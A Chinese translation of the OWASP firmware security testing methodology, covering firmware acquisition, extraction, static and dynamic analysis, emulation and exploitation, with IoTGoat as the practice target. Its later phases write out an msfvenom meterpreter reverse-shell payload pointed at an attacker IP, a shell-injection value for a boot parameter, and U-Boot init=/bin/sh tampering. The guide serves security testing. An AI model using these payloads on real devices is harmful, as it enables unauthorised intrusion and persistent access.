owasp fstm
1.0.0
| 描述 |
|---|
FSTM 由九個階段組成，專門為安全研究人員、軟體開發人員、愛好者和資訊安全專業人員提供韌體安全評估而設計。 |
無論是網路連接還是獨立，韌體都是控制任何嵌入式設備的中心。因此，了解如何操縱韌體來執行未經授權的功能並可能削弱支援生態系統的安全性至關重要。要開始執行韌體的安全測試和逆向工程，請在開始即將進行的評估時使用以下方法作為指導。該方法由九個階段組成，專門幫助安全研究人員、軟體開發人員、顧問、愛好者和資訊安全專業人員進行韌體安全評估。
| 階段 | 描述 |
|---|---|
| 1. 資訊收集與偵察 | 取得與目標設備韌體相關的所有相關技術和文件詳細信息 |
| 2. 取得韌體 | 使用列出的一種或多種建議方法取得韌體 |
| 3. 分析韌體 | 檢查目標韌體的特性 |
| 4. 提取檔案系統 | 從目標韌體中雕刻檔案系統內容 |
| 5. 分析檔案系統內容 | 靜態分析提取的檔案系統設定檔和二進位檔案中的漏洞 |
| 6. 模擬固件 | 模擬韌體檔案和組件 |
| 7. 動態分析 | 針對韌體和應用程式介面執行動態安全測試 |
| 8. 運行時分析 | 在設備運行時分析編譯的二進位文件 |
| 9. 二進位利用 | 利用先前階段發現的已識別漏洞來獲得 root 權限和/或程式碼執行 |
以下部分將進一步詳細說明每個階段，並提供適用的支援範例。考慮造訪 OWASP 物聯網專案頁面和 GitHub 儲存庫，以了解最新的方法更新和即將發布的專案。
可以透過以下連結下載預先配置的 Ubuntu 虛擬機器 (EmbedOS)，以及本文檔中使用的韌體測試工具。有關 EmbedOS 工具的詳細資訊可以在 GitHub 上的以下儲存庫中找到：https://github.com/scriptingxss/EmbedOS。
在此階段，收集盡可能多的有關目標的信息，以了解其底層技術的整體組成。試著收集以下資訊：
應在安全測試現場工作之前透過問卷或收集表格收集上述資訊。確保利用內部產品線開發團隊來獲取準確和最新的數據。了解所應用的安全控制以及路線圖專案、已知的安全問題以及最相關的風險。如果需要，安排對有問題的特定功能進行後續深入研究。評估在協作環境中最為成功。
在可能的情況下，使用開源情報 (OSINT) 工具和技術來獲取資料。如果使用開源軟體，請下載儲存庫並針對程式碼庫執行手動和自動靜態分析。有時，開源軟體專案已經使用提供掃描結果的供應商提供的免費靜態分析工具，例如 Coverity Scan 和 Semmle 的 LGTM。例如，下面的螢幕截圖顯示了 Das U-Boot 的 Coverity 掃描結果的片段。
圖片 : U-Boot Coverity 掃描
圖片 : U-Boot Coverity 掃描分析
以下是 LGTM 分析的 Dropbear 結果截圖。
圖 : LGTM Dropbear 警報
圖 : LGTM Dropbear 結果
有了手頭上的信息，就應該執行輕度威脅模型練習，映射攻擊面和影響區域，以在發生威脅時顯示最大的價值。
若要開始查看韌體內容，必須取得韌體映像檔。嘗試使用以下一種或多種方法來取得韌體內容：
*注意：從公開的雲端供應商儲存服務下載資料時，請確保遵守當地法律法規。
列出的每種方法的難度各不相同，不應被視為詳盡的清單。根據專案目標和參與規則選擇適當的方法。如果可能，請要求韌體的偵錯版本和發布版本，以便在版本中編譯偵錯程式碼或功能時最大限度地提高測試覆蓋用例。
取得韌體映像後，探索檔案的各個方面以識別其特徵。使用以下步驟分析韌體檔案類型、潛在的根檔案系統元數據，並進一步了解其編譯的平台。
利用實用程序，例如：
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
如果上述方法均未提供任何有用的數據，則可能會出現以下情況：
如果二進位檔案可能被加密，請使用 binwalk 透過以下命令檢查熵：
$ binwalk -E <bin>
低熵=不太可能加密
高熵=它可能被加密（或以某種方式壓縮）。
還可以使用 Binvis 線上和獨立應用程式使用替代工具。
此階段涉及查看韌體內部並解析相關檔案系統數據，以開始識別盡可能多的潛在安全問題。使用下列步驟提取韌體內容，以查看後續階段中使用的未編譯程式碼和裝置配置。自動和手動提取方法如下所示。
$ binwalk -ev <bin>
文件將被提取到“ _binaryname/filesystemtype/ ”
檔案系統類型：squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs
2a.有時，binwalk 的簽章中不會包含檔案系統的魔術位元組。在這些情況下，使用 binwalk 尋找檔案系統的偏移量，並從二進位檔案中提取壓縮檔案系統，並使用下列步驟根據檔案系統的類型手動提取檔案系統。
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b.運行以下 dd 命令雕刻 Squashfs 檔案系統。
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
或者，也可以執行以下命令。
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c.對於squashfs（在上面的範例中使用）
$ unsquashfs dir.squashfs
之後檔案將位於「 squashfs-root 」目錄中。
2d. CPIO 存檔文件
$ cpio -ivd --no-absolute-filenames -F <bin>
2f.對於 jffs2 檔案系統
$ jefferson rootfsfile.jffs2
2d.對於具有 NAND 快閃記憶體的 ubifs 檔案系統
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
在此階段，為動態和運行時分析階段收集線索。檢查目標韌體是否包含以下內容（非詳盡）：
手動靜態分析檔案系統內容和未編譯的程式碼，或利用 Firmwalker 等自動化工具解析以下內容：
以下小節介紹開源自動化韌體分析工具。
在 ~/tools/firmwalker 的目錄中執行firmwalker，並將firmwalker 指向擷取的檔案系統根目錄的絕對路徑。 Firmwalker 使用「/data/」目錄中的資訊來解析規則。 OWASP 的IoTGoat 上使用的firmwalker 其他易受攻擊的韌體項目列於文件末尾的易受攻擊的韌體部分。
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
請參閱下面的 Firmwalker 輸出。
將產生兩個檔案：firmwalker.txt 和firmwalkerappsec.txt。應手動檢查這些輸出檔。
幸運的是，有多種開源自動化韌體分析工具可供使用。 FACT 的特點包括：
識別軟體元件，例如作業系統、CPU 架構和第三方元件及其相關版本訊息
從鏡像中提取韌體檔案系統
檢測憑證和私鑰
檢測映射到常見弱點枚舉 (CWE) 的弱實現
基於來源和簽章的漏洞檢測
基本靜態行為分析
韌體版本和檔案的比較（diff）
使用 QEMU 模擬檔案系統二進位檔案的使用者模式
偵測二元緩解措施，例如 NX、DEP、ASLR、堆疊金絲雀、RELRO 和 FORTIFY_SOURCE
休息API
還有更多...
以下是在配套的預配置虛擬機器中使用韌體分析比較工具包的說明。
提示：建議在具有 16 核 64GB RAM 的電腦上運行 FACT，儘管該工具可以在至少 4 核和 8GB RAM 的情況下以慢得多的速度運行。掃描輸出結果因分配給虛擬機器的資源而異。資源越多，FACT 完成掃描提交的速度就越快。
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
在瀏覽器中導航至http://127.0.0.1:5000
圖 : FACT 儀表板
將韌體組件上傳到 FACT 進行分析。在下面的螢幕截圖中，將上傳並分析壓縮的完整韌體及其根檔案系統。
圖 : FACT 上傳
根據為 FACT 提供的硬體資源，分析結果將在給定時間與其掃描結果一起出現。如果分配最少的資源，此過程可能需要數小時。
圖 : FACT IoTGoat
圖 : FACT IoTGoat 漏洞利用緩解結果
使用 IDA Pro、Ghidra、Hopper、Capstone 或 Binary Ninja 從 FACT 收集的資料反組譯可疑目標二進位。分析二進位檔案中潛在的遠端程式碼執行系統呼叫、字串、函數列表、記憶體損壞漏洞，並識別 system() 或類似函數呼叫的外部參考。請注意用於後續步驟的潛在漏洞。
以下螢幕截圖顯示了使用 Ghidra 反彙編的「shellback」二進位。
圖 : Shellback Ghidra 分析
常見的二進位分析包括檢查以下內容：
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el指定 16 位元寬的小端字元（例如 UTF-16）。-eb表示大端字節序-t標誌將傳回檔案中字串的偏移量。-tx將以十六進制格式返回，T-to 以八進制格式返回， -td以十進制格式返回。strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
“E”表示堆疊是可執行的。
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELRO自動檢查上述許多二進位屬性的腳本是 checksec.sh。下面是使用該腳本的兩個範例。
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
圖 : Checksec.sh
對於 Microsoft 二進位（EXE 和 DLL），使用 PESecurity 檢查 ASLR、DEP、SafeSEH、StrongNaming、Authenticode、Control Flow Guard 和 HighEntropyVA。
EMBA被設計為滲透測試人員的核心韌體分析工具。它支援完整的安全分析過程，從韌體提取、靜態分析和透過模擬進行動態分析，到產生基於 Web 的報告以供進一步分析。透過單一指令啟動， EMBA會自動發現被測韌體中潛在的弱點和漏洞，例如不安全的二進位檔案、陳舊和過時的軟體元件、潛在易受攻擊的腳本或硬編碼密碼。
EMBA的特色包括：
EMBA在後台使用多種其他工具。所需的系統資源在很大程度上取決於您要分析的韌體。通常EMBA在以下環境運作得相當順利：
若要安裝必要的環境，您必須使用 root 權限執行安裝腳本：
sudo ./installer.sh -d您應該將-d開關與安裝程式一起使用來執行典型安裝。這將在主機上安裝所需的依賴項（例如 cve-search）並下載EMBA docker 映像。我們建議在初始安裝中使用它。
安裝程序完成後，可以從命令列使用EMBA進行韌體安全分析。在開始EMBA之前，請下載測試韌體，例如 OWASP IoTGoat 韌體。以下命令顯示了典型的EMBA命令：
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.emba顯示的命令配置以下基本選項：
還有更多選項可用，可以透過./emba.sh -h查看
每個韌體測試的第一步是對目前安裝進行運行狀況檢查：
運行狀況檢查成功後，分析過程將從識別和提取已配置的韌體開始：
在測試韌體時，所有結果和目前狀態都會即時顯示在終端中。由於典型的掃描將在線程模式（ -t參數）下運行，因此該輸出將是亂碼並且不太容易閱讀。為了進一步分析，建議使用日誌目錄中產生的基於文字的日誌檔案和 Web 報告（ -W參數）。完成韌體掃描後， EMBA在終端機中顯示結果摘要：
進一步的結果可以在日誌目錄中找到，並且可以在命令列或透過網頁瀏覽器進行分析：
firefox ~ /emba_logs_iotgoat/html-report/index.html
產生的 HTML 報告是獨立的，可以輕鬆分享。此外，該報告是完全互動的，可以透過聚合摘要儀表板來取得所有測試詳細資訊。
更多詳細資訊請造訪官方EMBA git 儲存庫。
EMBArk是韌體安全掃描器EMBA的基於 Web 的企業介面。它的開發目的是將韌體安全分析器EMBA作為容器化服務提供，並方便對韌體掃描後端EMBA 的訪問，無論系統和作業系統如何。
此外， EMBArk透過將各種掃描結果聚合到聚合管理儀表板中來改進資料提供。
在所有掃描的詳細資訊頁面上，您可以存取韌體掃描的詳細報告，開始進一步測試並下載掃描日誌：
有關每個韌體測試的主要結果的更多詳細信息，請參閱詳細報告：
更多資訊請造訪官方EMBArk git 儲存庫。
注意： EMBArk正處於非常早期的開發階段。
使用前面步驟中確定的詳細資訊和線索，必須模擬韌體及其封裝的二進位檔案以驗證潛在的漏洞。為了完成韌體仿真，有以下幾種方法。
/usr/bin/shellback派生的獨立二進位檔案要開始部分模擬二進位文件，必須了解 CPU 架構和位元組順序，以便在以下步驟中選擇適當的 QEMU 模擬二進位。
$ binwalk -Y <bin>
$ readelf -h <bin>
el - 小尾數法
eb—大尾數法
Binwalk 可用於使用以下命令識別打包韌體二進位檔案（而不是提取韌體中的二進位檔案）的位元組順序。
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
確定 CPU 架構和位元組順序後，找到適當的 QEMU 二進位檔案以執行部分模擬（不是用於模擬完整的固件，而是用於模擬提取的韌體的二進位檔案。）
通常，在：
/usr/local/qemu-arch或/usr/bin/qemu-arch
將適用的 QEMU 二進位檔案複製到提取的根檔案系統中。第二個指令顯示將靜態arm QEMU 二進位檔案複製到顯示絕對路徑的ZSH shell 中提取的根檔案系統。
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
使用以下命令執行 ARM 二進位（或適當的架構）以使用 QEMU 和 chroot 進行模擬：
$ sudo chroot . ./qemu-arch <binarytoemulate>
以下範例顯示了在攻擊者電腦可能使用的典型 x64 架構中模擬的 Busybox。
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
以下是類比偵聽連接埠 5515 的服務的範例。
> sudo chroot . ./qemu-arm-static usr/bin/shellback
此外，可以使用 qiling 框架來模擬相同的服務。
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
在另一個終端中，檢查該服務是否正在本地偵聽並嘗試使用 netcat 連接到它。
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
有時，請求由 HTTP 伺服器分派到 CGI 二進位。透過簡單地模擬CGI二進位文件，就可以在不設定HTTP伺服器的情況下分析處理過程或驗證漏洞。以下範例向 MIPS CGI 二進位檔案發出 GET 請求。
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
模擬目標二進位檔案後，與其解釋器或監聽服務互動。模糊其應用程式和網路接口，如下一階段所述。
如果可能，請使用 Firmadyne、韌體分析工具包或 ARM-X 韌體模擬框架等自動化工具來執行韌體的完整模擬。這些工具本質上是 QEMU 和其他環境功能（例如 nvram）的包裝器。
使用韌體分析工具包，只需執行以下命令：
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
注意：如果韌體包含不常見的壓縮、檔案系統或不受支援的體系結構，則可能需要對這些工具進行修改。
在此階段，當設備在正常或模擬環境中執行時執行動態測試。此階段的目標可能會有所不同，具體取決於專案和所給予的存取等級。通常，這涉及篡改引導程式配置、Web 和 API 測試、模糊測試（網路和應用程式服務）以及使用各種工具集進行主動掃描以獲取提升的存取權限（root）和/或程式碼執行。
可能有用的工具有（非詳盡）：
參考業界標準 Web 方法，例如 OWASP 的測試指南和應用程式安全驗證標準 (ASVS)。
嵌入式裝置的 Web 應用程式中需要檢查的特定區域如下：
根據產品及其應用程式介面的不同，測試案例會有所不同。
修改裝置啟動和引導程式（例如 U-boot）時，請嘗試以下操作：
init=/bin/sh ”#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py寫入uboot-image並推送修改後的韌體以獲得root權限'a";/bin/sh;#'修改 ' FILENAME ' 參數來測試裝置啟動過程的輸入驗證。*硬體安全測試
嘗試上傳自訂韌體和/或編譯的二進位檔案以檢查完整性或簽名驗證缺陷。例如，使用下列步驟編譯啟動時啟動的後門綁定 shell。
如果已經透過動態分析、引導程式操作或硬體安全測試手段取得了root shell，請嘗試執行預先編譯的惡意二進位文件，例如植入程式或反向shell。考慮使用用於命令和控制 (C&C) 框架的自動化有效負載/植入工具。例如，可以透過以下步驟利用 Metasploit 框架和「msfvenom」。
msfvenom指定適當的目標負載(-p)、攻擊者主機IP (LHOST=)、偵聽連接埠號碼(LPORT=) 檔案類型(-f)、架構(--arch)、平台(--platform linux 或windows)和輸出檔 (-o)。例如， msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -z如果可能，請識別啟動腳本中的漏洞，以便在重新啟動後獲得對裝置的持久存取。當啟動腳本引用、符號連結或依賴不受信任的安裝位置（例如 SD 卡和用於在根檔案系統外部儲存資料的快閃記憶體磁碟區）中的程式碼時，就會出現此類漏洞。
運行時分析涉及當設備在正常或模擬環境中運行時附加到正在運行的進程或二進位。下面提供了基本的運行時分析步驟：
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>可能有用的工具有（非詳盡）：
從先前的步驟中識別出二進位檔案中的漏洞後，需要進行適當的概念驗證 (PoC) 來證明現實世界的影響和風險。開發漏洞利用程式碼需要較低階語言（例如 ASM、C/C++、shellcode 等）的程式設計經驗以及特定目標體系結構（例如 MIPS、ARM、x86 等）的背景。 PoC 程式碼涉及透過控制記憶體中的指令來在裝置或應用程式上獲得任意執行。
在嵌入式系統中採用二進位執行時間保護（例如 NX、DEP、ASLR 等）並不常見，但當發生這種情況時，可能需要其他技術，例如面向返回程式設計 (ROP)。 ROP 允許攻擊者透過連結目標進程/二進位程式碼（稱為小工具）中的現有程式碼來實現任意惡意功能。需要採取措施透過形成 ROP 鏈來利用已識別的漏洞，例如緩衝區溢位。對於此類情況非常有用的工具是 Capstone 的小工具查找器或 ROPGadget - https://github.com/JonathanSalwan/ROPgadget。
利用以下參考資料取得進一步指引：
在整個韌體評估過程中將使用多種工具的組合。下面列出了常用的工具。
若要練習發現韌體中的漏洞，請使用以下易受攻擊的韌體專案作為起點。
回饋和貢獻
如果您想貢獻或提供回饋以改進此方法，請聯絡 [email protected] (@scriptingxss)。請務必提出問題或拉取請求，我們將確保處理它！
特別感謝我們的贊助商 Cisco Meraki、OWASP Inland Empire 和 OWASP Los Angeles 以及 José Alejandro Rivas Vidal 的仔細審查。
完整的貢獻者清單可以透過 https://github.com/scriptingxss/owasp-fstm/graphs/contributors 找到。
執照
知識共享署名相同方式分享 4.0 國際
